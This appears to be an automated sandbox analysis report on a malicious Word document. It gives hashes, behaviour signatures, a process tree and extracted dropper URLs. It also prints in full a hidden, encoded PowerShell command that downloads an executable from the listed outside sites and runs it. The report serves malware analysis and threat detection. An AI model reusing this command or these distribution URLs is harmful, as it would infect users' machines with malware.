Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    54s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    21/11/2024, 00:20

General

  • Target

    33e3844418c24c485809c1e88aeec5edeb61c951dc15fd342b747920d564574d.doc

  • Size

    184KB

  • MD5

    b7b7816ab8e441be97cc8d0d012488cd

  • SHA1

    edafaaa99a8d966b677f3bd5c547ab9121674f31

  • SHA256

    33e3844418c24c485809c1e88aeec5edeb61c951dc15fd342b747920d564574d

  • SHA512

    1816135352322f8e646afcc15f4c7259aa10747d3ee5baca3bb68b1330a664f4db6d8e32c13ea34f769b856a61ef35580dca6d984efe0f16087a089c006779e9

  • SSDEEP

    3072:Wx2y/GdynktGDWLS0HZWD5w8K7Nk9uD7IBUnUasgt+PpkkrbfzHQfzZExXMHIwtn:Wx2k43tGiL3HJk9uD7bnUasFPpkkrbfs

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://amstaffrecords.com/individualApi/0/

exe.dropper

http://foozoop.com/wp-content/Qxi7iVD/

exe.dropper

http://7arasport.com/validatefield/gj/

exe.dropper

http://dev2.ektonendon.gr/cgi-bin/mTTCFmVe/

exe.dropper

https://diagnostica-products.com/wp-admin/hio2u7w/

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\33e3844418c24c485809c1e88aeec5edeb61c951dc15fd342b747920d564574d.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:108
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2976
      • C:\Windows\SYSTEM32\WISPTIS.EXE
        "C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of SetWindowsHookEx
        PID:2888
      • C:\Windows\SYSTEM32\WISPTIS.EXE
        "C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of SetWindowsHookEx
        PID:2856
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABOAHAAegBmAHIAbgB6AGIAcgB0AGkAdQBtAD0AJwBWAGYAZgB1AHcAeQBoAHkAaQBnAGkAeQBxACcAOwAkAEUAcwB4AHQAeQBkAGoAcABrACAAPQAgACcAOAA3ADMAJwA7ACQAWQBsAG4AagBxAHMAcwBjAG0AcABtAD0AJwBXAHkAbABxAGEAaQBkAGsAcQBhACcAOwAkAEkAbQB4AGYAcgB4AHQAYQBwAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAcwB4AHQAeQBkAGoAcABrACsAJwAuAGUAeABlACcAOwAkAFIAcgB5AGkAcABqAGYAaABkAD0AJwBZAHQAaQBkAG4AYwBpAGcAbABlACcAOwAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0APQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQBUAC4AVwBFAEIAYwBMAEkAZQBOAFQAOwAkAEcAcABjAGsAeQBzAGMAeQBhAGUAbgBkAHoAPQAnAGgAdAB0AHAAOgAvAC8AYQBtAHMAdABhAGYAZgByAGUAYwBvAHIAZABzAC4AYwBvAG0ALwBpAG4AZABpAHYAaQBkAHUAYQBsAEEAcABpAC8AMAAvACoAaAB0AHQAcAA6AC8ALwBmAG8AbwB6AG8AbwBwAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUQB4AGkANwBpAFYARAAvACoAaAB0AHQAcAA6AC8ALwA3AGEAcgBhAHMAcABvAHIAdAAuAGMAbwBtAC8AdgBhAGwAaQBkAGEAdABlAGYAaQBlAGwAZAAvAGcAagAvACoAaAB0AHQAcAA6AC8ALwBkAGUAdgAyAC4AZQBrAHQAbwBuAGUAbgBkAG8AbgAuAGcAcgAvAGMAZwBpAC0AYgBpAG4ALwBtAFQAVABDAEYAbQBWAGUALwAqAGgAdAB0AHAAcwA6AC8ALwBkAGkAYQBnAG4AbwBzAHQAaQBjAGEALQBwAHIAbwBkAHUAYwB0AHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGgAaQBvADIAdQA3AHcALwAnAC4AIgBzAGAAUABMAGkAdAAiACgAJwAqACcAKQA7ACQASQB4AGkAcQBvAGcAZgBpAGsAbQA9ACcAQgB0AHQAeABnAGgAdgBpAG4AbwBtAHcAcwAnADsAZgBvAHIAZQBhAGMAaAAoACQATQBiAGMAbgB6AGcAcwBwAGEAdAAgAGkAbgAgACQARwBwAGMAawB5AHMAYwB5AGEAZQBuAGQAegApAHsAdAByAHkAewAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0ALgAiAEQATwBXAGAATgBMAE8AYABBAEQAYABGAEkAbABFACIAKAAkAE0AYgBjAG4AegBnAHMAcABhAHQALAAgACQASQBtAHgAZgByAHgAdABhAHAAbwApADsAJABIAGgAdABvAGIAZgBmAHAAbABnAHMAPQAnAFgAYQB5AG0AcABpAGMAdQAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEkAbQB4AGYAcgB4AHQAYQBwAG8AKQAuACIAbABgAEUAbgBHAGAAVABIACIAIAAtAGcAZQAgADIANwAxADYAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYABBAFIAdAAiACgAJABJAG0AeABmAHIAeAB0AGEAcABvACkAOwAkAEUAaQBkAHkAdABrAGwAeQA9ACcAWQBiAHEAeABjAHUAdgBkAGkAcQBuACcAOwBiAHIAZQBhAGsAOwAkAEwAbQBxAGEAaABqAGMAdwB5AHcAdABrAD0AJwBHAHcAYQB1AHUAaABsAHoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwBuAG8AZwBxAGIAdQBtAG8APQAnAEwAZABrAGUAbwBnAHMAYQBmAHgAbgBqACcA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:568

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\25B189DC.wmf

      Filesize

      444B

      MD5

      e394fd2f29cb440d0ec23fbab7fe2c97

      SHA1

      a362f49aff64cbf9d36862383718a6d5c35e6ccf

      SHA256

      e24995fc33c8ee84833dfb8254a0bd4d7ba29c9011b80eca480b92d7853cc589

      SHA512

      464828141e0a8fdd93bcfea2cd6b5d94773dab5d41225c038d7e61fbf45c40b6e1d3a1ef2528a786a7c3891666d139af45bcc053835ab5b3bc62be6f3b03de37

    • memory/108-25-0x00000000061F0000-0x00000000062F0000-memory.dmp

      Filesize

      1024KB

    • memory/108-45-0x0000000006A10000-0x0000000006A11000-memory.dmp

      Filesize

      4KB

    • memory/108-5-0x00000000060F0000-0x00000000061F0000-memory.dmp

      Filesize

      1024KB

    • memory/108-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/108-15-0x0000000000770000-0x0000000000870000-memory.dmp

      Filesize

      1024KB

    • memory/108-14-0x0000000000770000-0x0000000000870000-memory.dmp

      Filesize

      1024KB

    • memory/108-13-0x0000000000770000-0x0000000000870000-memory.dmp

      Filesize

      1024KB

    • memory/108-16-0x0000000006A10000-0x0000000006A11000-memory.dmp

      Filesize

      4KB

    • memory/108-48-0x00000000061F0000-0x00000000062F0000-memory.dmp

      Filesize

      1024KB

    • memory/108-19-0x0000000000770000-0x0000000000870000-memory.dmp

      Filesize

      1024KB

    • memory/108-26-0x0000000000770000-0x0000000000870000-memory.dmp

      Filesize

      1024KB

    • memory/108-0-0x000000002F6D1000-0x000000002F6D2000-memory.dmp

      Filesize

      4KB

    • memory/108-2-0x000000007183D000-0x0000000071848000-memory.dmp

      Filesize

      44KB

    • memory/108-21-0x00000000061F0000-0x00000000062F0000-memory.dmp

      Filesize

      1024KB

    • memory/108-23-0x00000000061F0000-0x00000000062F0000-memory.dmp

      Filesize

      1024KB

    • memory/108-20-0x0000000000770000-0x0000000000870000-memory.dmp

      Filesize

      1024KB

    • memory/108-29-0x00000000061F0000-0x00000000062F0000-memory.dmp

      Filesize

      1024KB

    • memory/108-47-0x0000000000770000-0x0000000000870000-memory.dmp

      Filesize

      1024KB

    • memory/108-46-0x00000000061F0000-0x00000000062F0000-memory.dmp

      Filesize

      1024KB

    • memory/108-39-0x000000007183D000-0x0000000071848000-memory.dmp

      Filesize

      44KB

    • memory/108-44-0x0000000000770000-0x0000000000870000-memory.dmp

      Filesize

      1024KB

    • memory/108-22-0x00000000061F0000-0x00000000062F0000-memory.dmp

      Filesize

      1024KB

    • memory/568-36-0x0000000001F90000-0x0000000001F98000-memory.dmp

      Filesize

      32KB

    • memory/568-35-0x000000001B290000-0x000000001B572000-memory.dmp

      Filesize

      2.9MB

    • memory/2888-17-0x00000000002C0000-0x00000000002C1000-memory.dmp

      Filesize

      4KB